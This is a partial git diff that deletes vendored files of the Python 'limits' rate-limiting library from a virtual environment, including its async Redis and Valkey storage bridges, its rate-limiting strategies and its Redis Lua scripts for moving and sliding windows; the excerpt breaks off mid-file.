a/venv/Lib/site-packages/limits/aio/storage/redis/redispy.py +++ /dev/null @@ -1,253 +0,0 @@ -from __future__ import annotations - -import time -from typing import TYPE_CHECKING, cast - -from limits.aio.storage.redis.bridge import RedisBridge -from limits.errors import ConfigurationError -from limits.typing import AsyncRedisClient, Callable - -if TYPE_CHECKING: - import redis.commands - - -class RedispyBridge(RedisBridge): - DEFAULT_CLUSTER_OPTIONS: dict[str, float | str | bool] = { - "max_connections": 1000, - } - "Default options passed to :class:`redis.asyncio.RedisCluster`" - - @property - def base_exceptions(self) -> type[Exception] | tuple[type[Exception], ...]: - return (self.dependency.RedisError,) - - def use_sentinel( - self, - service_name: str | None, - use_replicas: bool, - sentinel_kwargs: dict[str, str | float | bool] | None, - **options: str | float | bool, - ) -> None: - sentinel_configuration = [] - - connection_options = options.copy() - - sentinel_configuration.extend(self.options_from_uri.locations) - service_name = ( - self.options_from_uri.path.replace("/", "") - if self.options_from_uri.path - else service_name - ) - - if service_name is None: - raise ConfigurationError("'service_name' not provided") - - self.sentinel = self.dependency.asyncio.Sentinel( - sentinel_configuration, - sentinel_kwargs={**self.parsed_auth, **(sentinel_kwargs or {})}, - **{**self.parsed_auth, **connection_options}, - ) - self.storage = self.sentinel.master_for(service_name) - self.storage_replica = self.sentinel.slave_for(service_name) - self.connection_getter = lambda readonly: ( - self.storage_replica if readonly and use_replicas else self.storage - ) - - def use_basic(self, **options: str | float | bool) -> None: - if connection_pool := options.pop("connection_pool", None): - self.storage = self.dependency.asyncio.Redis( - connection_pool=connection_pool, **options - ) - else: - if self.options_from_uri.empty: - self.storage = self.dependency.asyncio.Redis(**options) - else: - self.storage = self.dependency.asyncio.Redis.from_url( - self.uri, **options - ) - - self.connection_getter = lambda _: self.storage - - def use_cluster(self, **options: str | float | bool) -> None: - cluster_hosts = [] - - for host, port in self.options_from_uri.locations: - cluster_hosts.append( - self.dependency.asyncio.cluster.ClusterNode(host=host, port=int(port)) - ) - - self.storage = self.dependency.asyncio.RedisCluster( - **{ - **self.DEFAULT_CLUSTER_OPTIONS, - **{"startup_nodes": cluster_hosts}, - **self.parsed_auth, - **options, - }, - ) - self.connection_getter = lambda _: self.storage - - lua_moving_window: redis.commands.core.Script - lua_acquire_moving_window: redis.commands.core.Script - lua_sliding_window: redis.commands.core.Script - lua_acquire_sliding_window: redis.commands.core.Script - lua_clear_keys: redis.commands.core.Script - lua_incr_expire: redis.commands.core.Script - connection_getter: Callable[[bool], AsyncRedisClient] - - def get_connection(self, readonly: bool = False) -> AsyncRedisClient: - return self.connection_getter(readonly) - - def register_scripts(self) -> None: - # Redis-py uses a slightly different script registration - self.lua_moving_window = self.get_connection().register_script( - self.SCRIPT_MOVING_WINDOW - ) - self.lua_acquire_moving_window = self.get_connection().register_script( - self.SCRIPT_ACQUIRE_MOVING_WINDOW - ) - self.lua_clear_keys = self.get_connection().register_script( - self.SCRIPT_CLEAR_KEYS - ) - self.lua_incr_expire = self.get_connection().register_script( - self.SCRIPT_INCR_EXPIRE - ) - self.lua_sliding_window = self.get_connection().register_script( - self.SCRIPT_SLIDING_WINDOW - ) - self.lua_acquire_sliding_window = self.get_connection().register_script( - self.SCRIPT_ACQUIRE_SLIDING_WINDOW - ) - - async def incr( - self, - key: str, - expiry: int, - amount: int = 1, - ) -> int: - """ - increments the counter for a given rate limit key - - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - :param amount: the number to increment by - """ - key = self.prefixed_key(key) - return cast(int, await self.lua_incr_expire([key], [expiry, amount])) - - async def get(self, key: str) -> int: - """ - - :param key: the key to get the counter value for - """ - - key = self.prefixed_key(key) - return int(await self.get_connection(readonly=True).get(key) or 0) - - async def clear(self, key: str) -> None: - """ - :param key: the key to clear rate limits for - - """ - key = self.prefixed_key(key) - await self.get_connection().delete(key) - - async def lua_reset(self) -> int | None: - return cast(int, await self.lua_clear_keys([self.prefixed_key("*")])) - - async def get_moving_window( - self, key: str, limit: int, expiry: int - ) -> tuple[float, int]: - """ - returns the starting point and the number of entries in the moving - window - - :param key: rate limit key - :param expiry: expiry of entry - :return: (previous count, previous TTL, current count, current TTL) - """ - key = self.prefixed_key(key) - timestamp = time.time() - window = await self.lua_moving_window([key], [timestamp - expiry, limit]) - if window: - return float(window[0]), window[1] - return timestamp, 0 - - async def get_sliding_window( - self, previous_key: str, current_key: str, expiry: int - ) -> tuple[int, float, int, float]: - if window := await self.lua_sliding_window( - [self.prefixed_key(previous_key), self.prefixed_key(current_key)], [expiry] - ): - return ( - int(window[0] or 0), - max(0, float(window[1] or 0)) / 1000, - int(window[2] or 0), - max(0, float(window[3] or 0)) / 1000, - ) - return 0, 0.0, 0, 0.0 - - async def acquire_entry( - self, - key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - """ - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - - """ - key = self.prefixed_key(key) - timestamp = time.time() - acquired = await self.lua_acquire_moving_window( - [key], [timestamp, limit, expiry, amount] - ) - - return bool(acquired) - - async def acquire_sliding_window_entry( - self, - previous_key: str, - current_key: str, - limit: int, - expiry: int, - amount: int = 1, - ) -> bool: - previous_key = self.prefixed_key(previous_key) - current_key = self.prefixed_key(current_key) - acquired = await self.lua_acquire_sliding_window( - [previous_key, current_key], [limit, expiry, amount] - ) - return bool(acquired) - - async def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - - key = self.prefixed_key(key) - return max(await self.get_connection().ttl(key), 0) + time.time() - - async def check(self) -> bool: - """ - check if storage is healthy - """ - try: - await self.get_connection().ping() - - return True - except: # noqa - return False - - async def reset(self) -> int | None: - prefix = self.prefixed_key("*") - keys = await self.storage.keys( - prefix, target_nodes=self.dependency.asyncio.cluster.RedisCluster.ALL_NODES - ) - count = 0 - for key in keys: - count += await self.storage.delete(key) - return count diff --git a/venv/Lib/site-packages/limits/aio/storage/redis/valkey.py b/venv/Lib/site-packages/limits/aio/storage/redis/valkey.py deleted file mode 100644 index d9f14a72acec55b18d352a687300e064d6dba58c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/storage/redis/valkey.py +++ /dev/null @@ -1,9 +0,0 @@ -from __future__ import annotations - -from .redispy import RedispyBridge - - -class ValkeyBridge(RedispyBridge): - @property - def base_exceptions(self) -> type[Exception] | tuple[type[Exception], ...]: - return (self.dependency.ValkeyError,) diff --git a/venv/Lib/site-packages/limits/aio/strategies.py b/venv/Lib/site-packages/limits/aio/strategies.py deleted file mode 100644 index b6c5023223e217a4fd4c7d2ad398336441c7e06e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/aio/strategies.py +++ /dev/null @@ -1,331 +0,0 @@ -""" -Asynchronous rate limiting strategies -""" - -from __future__ import annotations - -import time -from abc import ABC, abstractmethod -from math import floor, inf - -from deprecated.sphinx import versionadded - -from ..limits import RateLimitItem -from ..storage import StorageTypes -from ..typing import cast -from ..util import WindowStats -from .storage import MovingWindowSupport, Storage -from .storage.base import SlidingWindowCounterSupport - - -class RateLimiter(ABC): - def __init__(self, storage: StorageTypes): - assert isinstance(storage, Storage) - self.storage: Storage = storage - - @abstractmethod - async def hit(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Consume the rate limit - - :param item: the rate limit item - :param identifiers: variable list of strings to uniquely identify the - limit - :param cost: The cost of this hit, default 1 - - :return: True if ``cost`` could be deducted from the rate limit without exceeding it - """ - raise NotImplementedError - - @abstractmethod - async def test(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Check if the rate limit can be consumed - - :param item: the rate limit item - :param identifiers: variable list of strings to uniquely identify the - limit - :param cost: The expected cost to be consumed, default 1 - - :return: True if the rate limit is not depleted - """ - raise NotImplementedError - - @abstractmethod - async def get_window_stats( - self, item: RateLimitItem, *identifiers: str - ) -> WindowStats: - """ - Query the reset time and remaining amount for the limit - - :param item: the rate limit item - :param identifiers: variable list of strings to uniquely identify the - limit - :return: (reset time, remaining)) - """ - raise NotImplementedError - - async def clear(self, item: RateLimitItem, *identifiers: str) -> None: - return await self.storage.clear(item.key_for(*identifiers)) - - -class MovingWindowRateLimiter(RateLimiter): - """ - Reference: :ref:`strategies:moving window` - """ - - def __init__(self, storage: StorageTypes) -> None: - if not ( - hasattr(storage, "acquire_entry") or hasattr(storage, "get_moving_window") - ): - raise NotImplementedError( - "MovingWindowRateLimiting is not implemented for storage " - f"of type {storage.__class__}" - ) - super().__init__(storage) - - async def hit(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Consume the rate limit - - :param item: the rate limit item - :param identifiers: variable list of strings to uniquely identify the - limit - :param cost: The cost of this hit, default 1 - - :return: True if ``cost`` could be deducted from the rate limit without exceeding it - """ - - return await cast(MovingWindowSupport, self.storage).acquire_entry( - item.key_for(*identifiers), item.amount, item.get_expiry(), amount=cost - ) - - async def test(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Check if the rate limit can be consumed - - :param item: the rate limit item - :param identifiers: variable list of strings to uniquely identify the - limit - :param cost: The expected cost to be consumed, default 1 - - :return: True if the rate limit is not depleted - """ - res = await cast(MovingWindowSupport, self.storage).get_moving_window( - item.key_for(*identifiers), - item.amount, - item.get_expiry(), - ) - amount = res[1] - - return amount <= item.amount - cost - - async def get_window_stats( - self, item: RateLimitItem, *identifiers: str - ) -> WindowStats: - """ - returns the number of requests remaining within this limit. - - :param item: the rate limit item - :param identifiers: variable list of strings to uniquely identify the - limit - :return: (reset time, remaining) - """ - window_start, window_items = await cast( - MovingWindowSupport, self.storage - ).get_moving_window(item.key_for(*identifiers), item.amount, item.get_expiry()) - reset = window_start + item.get_expiry() - - return WindowStats(reset, item.amount - window_items) - - -class FixedWindowRateLimiter(RateLimiter): - """ - Reference: :ref:`strategies:fixed window` - """ - - async def hit(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Consume the rate limit - - :param item: the rate limit item - :param identifiers: variable list of strings to uniquely identify the - limit - :param cost: The cost of this hit, default 1 - - :return: True if ``cost`` could be deducted from the rate limit without exceeding it - """ - - return ( - await self.storage.incr( - item.key_for(*identifiers), - item.get_expiry(), - amount=cost, - ) - <= item.amount - ) - - async def test(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Check if the rate limit can be consumed - - :param item: the rate limit item - :param identifiers: variable list of strings to uniquely identify the - limit - :param cost: The expected cost to be consumed, default 1 - - :return: True if the rate limit is not depleted - """ - - return ( - await self.storage.get(item.key_for(*identifiers)) < item.amount - cost + 1 - ) - - async def get_window_stats( - self, item: RateLimitItem, *identifiers: str - ) -> WindowStats: - """ - Query the reset time and remaining amount for the limit - - :param item: the rate limit item - :param identifiers: variable list of strings to uniquely identify the - limit - :return: reset time, remaining - """ - remaining = max( - 0, - item.amount - await self.storage.get(item.key_for(*identifiers)), - ) - reset = await self.storage.get_expiry(item.key_for(*identifiers)) - - return WindowStats(reset, remaining) - - -@versionadded(version="4.1") -class SlidingWindowCounterRateLimiter(RateLimiter): - """ - Reference: :ref:`strategies:sliding window counter` - """ - - def __init__(self, storage: StorageTypes): - if not hasattr(storage, "get_sliding_window") or not hasattr( - storage, "acquire_sliding_window_entry" - ): - raise NotImplementedError( - "SlidingWindowCounterRateLimiting is not implemented for storage " - f"of type {storage.__class__}" - ) - super().__init__(storage) - - def _weighted_count( - self, - item: RateLimitItem, - previous_count: int, - previous_expires_in: float, - current_count: int, - ) -> float: - """ - Return the approximated by weighting the previous window count and adding the current window count. - """ - return previous_count * previous_expires_in / item.get_expiry() + current_count - - async def hit(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Consume the rate limit - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The cost of this hit, default 1 - - :return: True if ``cost`` could be deducted from the rate limit without exceeding it - """ - return await cast( - SlidingWindowCounterSupport, self.storage - ).acquire_sliding_window_entry( - item.key_for(*identifiers), - item.amount, - item.get_expiry(), - cost, - ) - - async def test(self, item: RateLimitItem, *identifiers: str, cost: int = 1) -> bool: - """ - Check if the rate limit can be consumed - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :param cost: The expected cost to be consumed, default 1 - - :return: True if the rate limit is not depleted - """ - - previous_count, previous_expires_in, current_count, _ = await cast( - SlidingWindowCounterSupport, self.storage - ).get_sliding_window(item.key_for(*identifiers), item.get_expiry()) - - return ( - self._weighted_count( - item, previous_count, previous_expires_in, current_count - ) - < item.amount - cost + 1 - ) - - async def get_window_stats( - self, item: RateLimitItem, *identifiers: str - ) -> WindowStats: - """ - Query the reset time and remaining amount for the limit. - - :param item: The rate limit item - :param identifiers: variable list of strings to uniquely identify this - instance of the limit - :return: (reset time, remaining) - """ - - ( - previous_count, - previous_expires_in, - current_count, - current_expires_in, - ) = await cast(SlidingWindowCounterSupport, self.storage).get_sliding_window( - item.key_for(*identifiers), item.get_expiry() - ) - - remaining = max( - 0, - item.amount - - floor( - self._weighted_count( - item, previous_count, previous_expires_in, current_count - ) - ), - ) - - now = time.time() - - if not (previous_count or current_count): - return WindowStats(now, remaining) - - expiry = item.get_expiry() - - previous_reset_in, current_reset_in = inf, inf - if previous_count: - previous_reset_in = previous_expires_in % (expiry / previous_count) - if current_count: - current_reset_in = current_expires_in % expiry - - return WindowStats(now + min(previous_reset_in, current_reset_in), remaining) - - async def clear(self, item: RateLimitItem, *identifiers: str) -> None: - return await cast( - SlidingWindowCounterSupport, self.storage - ).clear_sliding_window(item.key_for(*identifiers), item.get_expiry()) - - -STRATEGIES = { - "sliding-window-counter": SlidingWindowCounterRateLimiter, - "fixed-window": FixedWindowRateLimiter, - "moving-window": MovingWindowRateLimiter, -} diff --git a/venv/Lib/site-packages/limits/errors.py b/venv/Lib/site-packages/limits/errors.py deleted file mode 100644 index 86428d3099f0e2936b81293feb712a13f4f46d25..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/errors.py +++ /dev/null @@ -1,30 +0,0 @@ -""" -errors and exceptions -""" - -from __future__ import annotations - - -class ConfigurationError(Exception): - """ - Error raised when a configuration problem is encountered - """ - - -class ConcurrentUpdateError(Exception): - """ - Error raised when an update to limit fails due to concurrent - updates - """ - - def __init__(self, key: str, attempts: int) -> None: - super().__init__(f"Unable to update {key} after {attempts} retries") - - -class StorageError(Exception): - """ - Error raised when an error is encountered in a storage - """ - - def __init__(self, storage_error: Exception) -> None: - self.storage_error = storage_error diff --git a/venv/Lib/site-packages/limits/limits.py b/venv/Lib/site-packages/limits/limits.py deleted file mode 100644 index 2a993069ba1b243ac6749087729746f44a0d64bf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/limits.py +++ /dev/null @@ -1,196 +0,0 @@ -""" """ - -from __future__ import annotations - -from functools import total_ordering - -from limits.typing import ClassVar, NamedTuple, cast - - -def safe_string(value: bytes | str | int | float) -> str: - """ - normalize a byte/str/int or float to a str - """ - - if isinstance(value, bytes): - return value.decode() - - return str(value) - - -class Granularity(NamedTuple): - seconds: int - name: str - - -TIME_TYPES = dict( - day=Granularity(60 * 60 * 24, "day"), - month=Granularity(60 * 60 * 24 * 30, "month"), - year=Granularity(60 * 60 * 24 * 30 * 12, "year"), - hour=Granularity(60 * 60, "hour"), - minute=Granularity(60, "minute"), - second=Granularity(1, "second"), -) - -GRANULARITIES: dict[str, type[RateLimitItem]] = {} - - -class RateLimitItemMeta(type): - def __new__( - cls, - name: str, - parents: tuple[type, ...], - dct: dict[str, Granularity | list[str]], - ) -> RateLimitItemMeta: - if "__slots__" not in dct: - dct["__slots__"] = [] - granularity = super().__new__(cls, name, parents, dct) - - if "GRANULARITY" in dct: - GRANULARITIES[dct["GRANULARITY"][1]] = cast( - type[RateLimitItem], granularity - ) - - return granularity - - -# pylint: disable=no-member -@total_ordering -class RateLimitItem(metaclass=RateLimitItemMeta): - """ - defines a Rate limited resource which contains the characteristic - namespace, amount and granularity multiples of the rate limiting window. - - :param amount: the rate limit amount - :param multiples: multiple of the 'per' :attr:`GRANULARITY` - (e.g. 'n' per 'm' seconds) - :param namespace: category for the specific rate limit - """ - - __slots__ = ["namespace", "amount", "multiples"] - - GRANULARITY: ClassVar[Granularity] - """ - A tuple describing the granularity of this limit as - (number of seconds, name) - """ - - def __init__( - self, amount: int, multiples: int | None = 1, namespace: str = "LIMITER" - ): - self.namespace = namespace - self.amount = int(amount) - self.multiples = int(multiples or 1) - - @classmethod - def check_granularity_string(cls, granularity_string: str) -> bool: - """ - Checks if this instance matches a *granularity_string* - of type ``n per hour``, ``n per minute`` etc, - by comparing with :attr:`GRANULARITY` - - """ - - return granularity_string.lower() in { - cls.GRANULARITY.name, - f"{cls.GRANULARITY.name}s", # allow plurals like days, hours etc. - } - - def get_expiry(self) -> int: - """ - :return: the duration the limit is enforced for in seconds. - """ - - return self.GRANULARITY.seconds * self.multiples - - def key_for(self, *identifiers: bytes | str | int | float) -> str: - """ - Constructs a key for the current limit and any additional - identifiers provided. - - :param identifiers: a list of strings to append to the key - :return: a string key identifying this resource with - each identifier separated with a '/' delimiter. - """ - remainder = "/".join( - [safe_string(k) for k in identifiers] - + [ - safe_string(self.amount), - safe_string(self.multiples), - self.GRANULARITY.name, - ] - ) - - return f"{self.namespace}/{remainder}" - - def __eq__(self, other: object) -> bool: - if isinstance(other, RateLimitItem): - return ( - self.amount == other.amount - and self.GRANULARITY == other.GRANULARITY - and self.multiples == other.multiples - ) - return False - - def __repr__(self) -> str: - return f"{self.amount} per {self.multiples} {self.GRANULARITY.name}" - - def __lt__(self, other: RateLimitItem) -> bool: - return self.GRANULARITY.seconds < other.GRANULARITY.seconds - - def __hash__(self) -> int: - return hash((self.namespace, self.amount, self.multiples, self.GRANULARITY)) - - -class RateLimitItemPerYear(RateLimitItem): - """ - per year rate limited resource. - """ - - GRANULARITY = TIME_TYPES["year"] - """A year""" - - -class RateLimitItemPerMonth(RateLimitItem): - """ - per month rate limited resource. - """ - - GRANULARITY = TIME_TYPES["month"] - """A month""" - - -class RateLimitItemPerDay(RateLimitItem): - """ - per day rate limited resource. - """ - - GRANULARITY = TIME_TYPES["day"] - """A day""" - - -class RateLimitItemPerHour(RateLimitItem): - """ - per hour rate limited resource. - """ - - GRANULARITY = TIME_TYPES["hour"] - """An hour""" - - -class RateLimitItemPerMinute(RateLimitItem): - """ - per minute rate limited resource. - """ - - GRANULARITY = TIME_TYPES["minute"] - """A minute""" - - -class RateLimitItemPerSecond(RateLimitItem): - """ - per second rate limited resource. - """ - - GRANULARITY = TIME_TYPES["second"] - """A second""" diff --git a/venv/Lib/site-packages/limits/py.typed b/venv/Lib/site-packages/limits/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/acquire_moving_window.lua b/venv/Lib/site-packages/limits/resources/redis/lua_scripts/acquire_moving_window.lua deleted file mode 100644 index 493d03dfec2d7b2fb75a1f87724ef0acd260451b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/acquire_moving_window.lua +++ /dev/null @@ -1,26 +0,0 @@ -local timestamp = tonumber(ARGV[1]) -local limit = tonumber(ARGV[2]) -local expiry = tonumber(ARGV[3]) -local amount = tonumber(ARGV[4]) - -if amount > limit then - return false -end - -local entry = redis.call('lindex', KEYS[1], limit - amount) - -if entry and tonumber(entry) >= timestamp - expiry then - return false -end -local entries = {} -for i = 1, amount do - entries[i] = timestamp -end - -for i=1,#entries,5000 do - redis.call('lpush', KEYS[1], unpack(entries, i, math.min(i+4999, #entries))) -end -redis.call('ltrim', KEYS[1], 0, limit - 1) -redis.call('expire', KEYS[1], expiry) - -return true diff --git a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/acquire_sliding_window.lua b/venv/Lib/site-packages/limits/resources/redis/lua_scripts/acquire_sliding_window.lua deleted file mode 100644 index 3faf913e32dc851df654441f049e3539015437bc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/acquire_sliding_window.lua +++ /dev/null @@ -1,45 +0,0 @@ --- Time is in milliseconds in this script: TTL, expiry... - -local limit = tonumber(ARGV[1]) -local expiry = tonumber(ARGV[2]) * 1000 -local amount = tonumber(ARGV[3]) - -if amount > limit then - return false -end - -local current_ttl = tonumber(redis.call('pttl', KEYS[2])) - -if current_ttl > 0 and current_ttl < expiry then - -- Current window expired, shift it to the previous window - redis.call('rename', KEYS[2], KEYS[1]) - redis.call('set', KEYS[2], 0, 'PX', current_ttl + expiry) -end - -local previous_count = tonumber(redis.call('get', KEYS[1])) or 0 -local previous_ttl = tonumber(redis.call('pttl', KEYS[1])) or 0 -local current_count = tonumber(redis.call('get', KEYS[2])) or 0 -current_ttl = tonumber(redis.call('pttl', KEYS[2])) or 0 - --- If the values don't exist yet, consider the TTL is 0 -if previous_ttl <= 0 then - previous_ttl = 0 -end -if current_ttl <= 0 then - current_ttl = 0 -end -local weighted_count = math.floor(previous_count * previous_ttl / expiry) + current_count - -if (weighted_count + amount) > limit then - return false -end - --- If the current counter exists, increase its value -if redis.call('exists', KEYS[2]) == 1 then - redis.call('incrby', KEYS[2], amount) -else - -- Otherwise, set the value with twice the expiry time - redis.call('set', KEYS[2], amount, 'PX', expiry * 2) -end - -return true diff --git a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/clear_keys.lua b/venv/Lib/site-packages/limits/resources/redis/lua_scripts/clear_keys.lua deleted file mode 100644 index 7d6ff7e669d23cb58c48d48fe0c3a707bf53299f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/clear_keys.lua +++ /dev/null @@ -1,10 +0,0 @@ -local keys = redis.call('keys', KEYS[1]) -local res = 0 - -for i=1,#keys,5000 do - res = res + redis.call( - 'del', unpack(keys, i, math.min(i+4999, #keys)) - ) -end - -return res diff --git a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/incr_expire.lua b/venv/Lib/site-packages/limits/resources/redis/lua_scripts/incr_expire.lua deleted file mode 100644 index 062dffb114ce3b4b669e564c8c92b915f010ff19..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/incr_expire.lua +++ /dev/null @@ -1,9 +0,0 @@ -local current -local amount = tonumber(ARGV[2]) -current = redis.call("incrby", KEYS[1], amount) - -if tonumber(current) == amount then - redis.call("expire", KEYS[1], ARGV[1]) -end - -return current diff --git a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/moving_window.lua b/venv/Lib/site-packages/limits/resources/redis/lua_scripts/moving_window.lua deleted file mode 100644 index 5c4af68d12ac5c8aee3b8e38ce0260b9058c036f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/moving_window.lua +++ /dev/null @@ -1,30 +0,0 @@ -local len = tonumber(ARGV[2]) -local expiry = tonumber(ARGV[1]) - --- Binary search to find the oldest valid entry in the window -local function oldest_entry(high, target) - local low = 0 - local result = nil - - while low <= high do - local mid = math.floor((low + high) / 2) - local val = tonumber(redis.call('lindex', KEYS[1], mid)) - - if val and val >= target then - result = mid - low = mid + 1 - else - high = mid - 1 - end - end - - return result -end - -local index = oldest_entry(len - 1, expiry) - -if index then - local count = index + 1 - local oldest = tonumber(redis.call('lindex', KEYS[1], index)) - return {tostring(oldest), count} -end diff --git a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/sliding_window.lua b/venv/Lib/site-packages/limits/resources/redis/lua_scripts/sliding_window.lua deleted file mode 100644 index d938b9271b855b2067ebdf4b4ff079da2daea012..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/resources/redis/lua_scripts/sliding_window.lua +++ /dev/null @@ -1,17 +0,0 @@ -local expiry = tonumber(ARGV[1]) * 1000 -local previous_count = redis.call('get', KEYS[1]) -local previous_ttl = redis.call('pttl', KEYS[1]) -local current_count = redis.call('get', KEYS[2]) -local current_ttl = redis.call('pttl', KEYS[2]) - -if current_ttl > 0 and current_ttl < expiry then - -- Current window expired, shift it to the previous window - redis.call('rename', KEYS[2], KEYS[1]) - redis.call('set', KEYS[2], 0, 'PX', current_ttl + expiry) - previous_count = redis.call('get', KEYS[1]) - previous_ttl = redis.call('pttl', KEYS[1]) - current_count = redis.call('get', KEYS[2]) - current_ttl = redis.call('pttl', KEYS[2]) -end - -return {previous_count, previous_ttl, current_count, current_ttl} diff --git a/venv/Lib/site-packages/limits/storage/__init__.py b/venv/Lib/site-packages/limits/storage/__init__.py deleted file mode 100644 index a9552be345abfcfb1a9757bebfefe923e4ac380f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/storage/__init__.py +++ /dev/null @@ -1,80 +0,0 @@ -""" -Implementations of storage backends to be used with -:class:`limits.strategies.RateLimiter` strategies -""" - -from __future__ import annotations - -import urllib - -import limits # noqa - -from .._storage_scheme import SCHEMES -from ..errors import ConfigurationError -from ..typing import TypeAlias, cast -from .base import MovingWindowSupport, SlidingWindowCounterSupport, Storage -from .memcached import MemcachedStorage -from .memory import MemoryStorage -from .mongodb import MongoDBStorage, MongoDBStorageBase -from .redis import RedisStorage -from .redis_cluster import RedisClusterStorage -from .redis_sentinel import RedisSentinelStorage - -StorageTypes: TypeAlias = "Storage | limits.aio.storage.Storage" - - -def storage_from_string( - storage_string: str, **options: float | str | bool -) -> StorageTypes: - """ - Factory function to get an instance of the storage class based - on the uri of the storage. In most cases using it should be sufficient - instead of directly instantiating the storage classes. for example:: - - from limits.storage import storage_from_string - - memory = storage_from_string("memory://") - memcached = storage_from_string("memcached://localhost:11211") - redis = storage_from_string("redis://localhost:6379") - - The same function can be used to construct the :ref:`storage:async storage` - variants, for example:: - - from limits.storage import storage_from_string - - memory = storage_from_string("async+memory://") - memcached = storage_from_string("async+memcached://localhost:11211") - redis = storage_from_string("async+redis://localhost:6379") - - :param storage_string: a string of the form ``scheme://host:port``. - More details about supported storage schemes can be found at - :ref:`storage:storage scheme` - :param options: all remaining keyword arguments are passed to the - constructor matched by :paramref:`storage_string`. - :raises ConfigurationError: when the :attr:`storage_string` cannot be - mapped to a registered :class:`limits.storage.Storage` - or :class:`limits.aio.storage.Storage` instance. - - - """ - scheme = urllib.parse.urlparse(storage_string).scheme - - if scheme not in SCHEMES: - raise ConfigurationError(f"unknown storage scheme : {storage_string}") - - return cast(StorageTypes, SCHEMES[scheme](storage_string, **options)) - - -__all__ = [ - "MemcachedStorage", - "MemoryStorage", - "MongoDBStorage", - "MongoDBStorageBase", - "MovingWindowSupport", - "RedisClusterStorage", - "RedisSentinelStorage", - "RedisStorage", - "SlidingWindowCounterSupport", - "Storage", - "storage_from_string", -] diff --git a/venv/Lib/site-packages/limits/storage/base.py b/venv/Lib/site-packages/limits/storage/base.py deleted file mode 100644 index 067d33ed34083c4025b0fb7b1005c35a70844621..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/limits/storage/base.py +++ /dev/null @@ -1,246 +0,0 @@ -from __future__ import annotations - -import functools -from abc import ABC, abstractmethod - -from limits import errors -from limits._storage_scheme import StorageRegistry -from limits.typing import ( - Any, - Callable, - P, - R, - cast, -) -from limits.util import LazyDependency - - -def _wrap_errors( - fn: Callable[P, R], -) -> Callable[P, R]: - @functools.wraps(fn) - def inner(*args: P.args, **kwargs: P.kwargs) -> R: - instance = cast(Storage, args[0]) - try: - return fn(*args, **kwargs) - except instance.base_exceptions as exc: - if instance.wrap_exceptions: - raise errors.StorageError(exc) from exc - raise - - return inner - - -class Storage(LazyDependency, metaclass=StorageRegistry): - """ - Base class to extend when implementing a storage backend. - """ - - STORAGE_SCHEME: list[str] | None - """The storage schemes to register against this implementation""" - - def __init_subclass__(cls, **kwargs: Any) -> None: # type: ignore[explicit-any] - for method in { - "incr", - "get", - "get_expiry", - "check", - "reset", - "clear", - }: - setattr(cls, method, _wrap_errors(getattr(cls, method))) - super().__init_subclass__(**kwargs) - - def __init__( - self, - uri: str | None = None, - wrap_exceptions: bool = False, - **options: float | str | bool, - ): - """ - :param wrap_exceptions: Whether to wrap storage exceptions in - :exc:`limits.errors.StorageError` before raising it. - """ - - super().__init__() - self.wrap_exceptions = wrap_exceptions - - @property - @abstractmethod - def base_exceptions(self) -> type[Exception] | tuple[type[Exception], ...]: - raise NotImplementedError - - @abstractmethod - def incr(self, key: str, expiry: int, amount: int = 1) -> int: - """ - increments the counter for a given rate limit key - - :param key: the key to increment - :param expiry: amount in seconds for the key to expire in - :param amount: the number to increment by - """ - raise NotImplementedError - - @abstractmethod - def get(self, key: str) -> int: - """ - :param key: the key to get the counter value for - """ - raise NotImplementedError - - @abstractmethod - def get_expiry(self, key: str) -> float: - """ - :param key: the key to get the expiry for - """ - raise NotImplementedError - - @abstractmethod - def check(self) -> bool: - """ - check if storage is healthy - """ - raise NotImplementedError - - @abstractmethod - def reset(self) -> int | None: - """ - reset storage to clear limits - """ - raise NotImplementedError - - @abstractmethod - def clear(self, key: str) -> None: - """ - resets the rate limit key - - :param key: the key to clear rate limits for - """ - raise NotImplementedError - - -class MovingWindowSupport(ABC): - """ - Abstract base class for storages that support - the :ref:`strategies:moving window` strategy - """ - - def __init_subclass__(cls, **kwargs: Any) -> None: # type: ignore[explicit-any] - for method in { - "acquire_entry", - "get_moving_window", - }: - setattr( - cls, - method, - _wrap_errors(getattr(cls, method)), - ) - super().__init_subclass__(**kwargs) - - @abstractmethod - def acquire_entry(self, key: str, limit: int, expiry: int, amount: int = 1) -> bool: - """ - :param key: rate limit key to acquire an entry in - :param limit: amount of entries allowed - :param expiry: expiry of the entry - :param amount: the number of entries to acquire - """ - raise 